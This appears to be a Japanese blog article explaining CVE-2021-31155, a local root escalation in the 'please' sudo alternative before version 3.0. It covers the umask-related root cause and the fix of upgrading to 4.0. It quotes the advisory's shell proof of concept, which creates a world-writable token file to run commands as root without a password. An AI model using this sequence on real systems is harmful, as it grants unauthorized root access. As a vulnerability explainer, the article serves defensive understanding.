はじめに
pleaseコマンドの脆弱性について解説する記事です。
詳細は記事内のリンクをご参照ください。
目次
1.概要
2.原理
3.攻撃例
4.対策
概要
pleaseの3.0以前のversionにおける脆弱性です。
pleaseコマンドを用いてumaskを実行すると、ローカルの攻撃者がroot権限を取得できます。
----------------------------pleaseとは
pleaseはSUDOコマンドの代替として開発されたコマンドです。
SUDOと同様に実行コマンドに特権アクセスを与える一方、不必要な特権アクセスを与えないことでセキュリティの強化を狙っています。
公開日:2021/5/28
影響範囲:please 3.0以前
リスク指標(VULDB)(2021/6/3現在)
CVSS:8.4
脆弱性情報
CVE:CVE-2021-31155
VULDB:VDB-176007
アドバイザリ:openwall.com
原理
tokenディレクトリ"/var/run/pleaser/token"が存在しない場合、Rustの"create_dir_all"関数で作成されます。
この時、umaskはサニタイズされず、これによって権限のないユーザーが先ほどのtokenディレクトリに書き込みが可能になっています。
例)openwall.comより
#ディレクトリがない状態でスタート
user$ umask 0
#任意のコマンドを実行
#この時パスワードの入力を求められるが無視
user$ please cat /etc/fstab
[please] password for user: ^C
#ディレクトリの権限の確認
user$ ls -lhd /var/run/please /var/run/please/token
drwxrwxrwx 3 root root 60 31. Mär 13:48 /var/run/please/
drwxrwxrwx 2 root root 40 31. Mär 13:48 /var/run/please/token
#ユーザーパスワードなしで任意のコマンドへのアクセスを許可する(?)
user$ touch /var/run/please/token/$USER:`tty | tr '/' '_'`:$$
#パスワードなしで動作することの確認
user$ please cat /etc/fstab
[<fstab content>]
攻撃例
不明
対策
解決策
please 4.0へのupgrade
あとがき
間違い・情報のupdateがあれば、コメントしてくれるとありがたいですm(_ _)m
実行してみないとあんまわからないかも…
openwall.comのリンクの内容やってみてください